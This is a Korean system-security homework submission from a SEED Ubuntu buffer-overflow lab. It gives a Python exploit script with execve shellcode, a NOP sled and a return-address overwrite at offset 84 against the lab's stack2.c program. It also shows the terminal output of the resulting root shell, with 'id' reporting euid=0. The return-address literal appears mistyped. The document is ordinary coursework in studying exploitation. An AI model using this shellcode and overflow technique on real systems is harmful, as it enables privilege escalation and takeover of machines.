

시스템보안 5주차 과제

1.stack2.c 기준 exploit.py 코드 사진

```
SEED Ubuntu20.04 [실행 중] - Oracle VM VirtualBox
파일 머신 보기 입력 장치 도움말
Activities Terminal Sep 29 04:23 seed@VM: ~/buffer
GNU nano 4.8 exploit.py
shellcode= (
    "\x31\xc0" # xorl %eax,%eax
    "\x50" # pushl %eax
    "\x68""//sh" # pushl $0x68732f2f
    "\x68""/bin" # pushl $0x6e69622f
    "\x89\xe3" # movl %esp,%ebx
    "\x50" # pushl %eax
    "\x53" # pushl %ebx
    "\x89\xe1" # movl %esp,%ecx
    "\x99" # cdq
    "\xb0\x0b" # movb $0x0b,%al
    "\xcd\x80" # int $0x80
).encode('latin-1')

content = bytearray(0x90 for i in range(300))

# Put the shellcode at the end
start = 300 - len(shellcode)
content[start:] = shellcode

# Put the address at offset
ret = 0xfffffd03c + 200
offset = 84

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)

[ Cancelled ]
^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify
^X Exit ^R Read File ^\ Replace ^U Paste Text ^T To Spell
Shift + Ctrl .
```

2.stack2.c 기준 루트 쉘 탈취 후 id 확인 장면

```
SEED Ubuntu20.04 [실행 중] - Oracle VM VirtualBox
파일 머신 보기 입력 장치 도움말
Activities Terminal Sep 29 04:21 seed@VM: ~/buffer
[09/29/25]seed@VM:~$ cd buffer/
[09/29/25]seed@VM:~/buffer$ chmod u+x exploit.py
[09/29/25]seed@VM:~/buffer$ rm badfile
[09/29/25]seed@VM:~/buffer$ ex
ex      execstack      expand      exploit.py      expr
exec      exit      expiry      export
[09/29/25]seed@VM:~/buffer$ ./exploit.py
[09/29/25]seed@VM:~/buffer$ ./stack2
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
#
```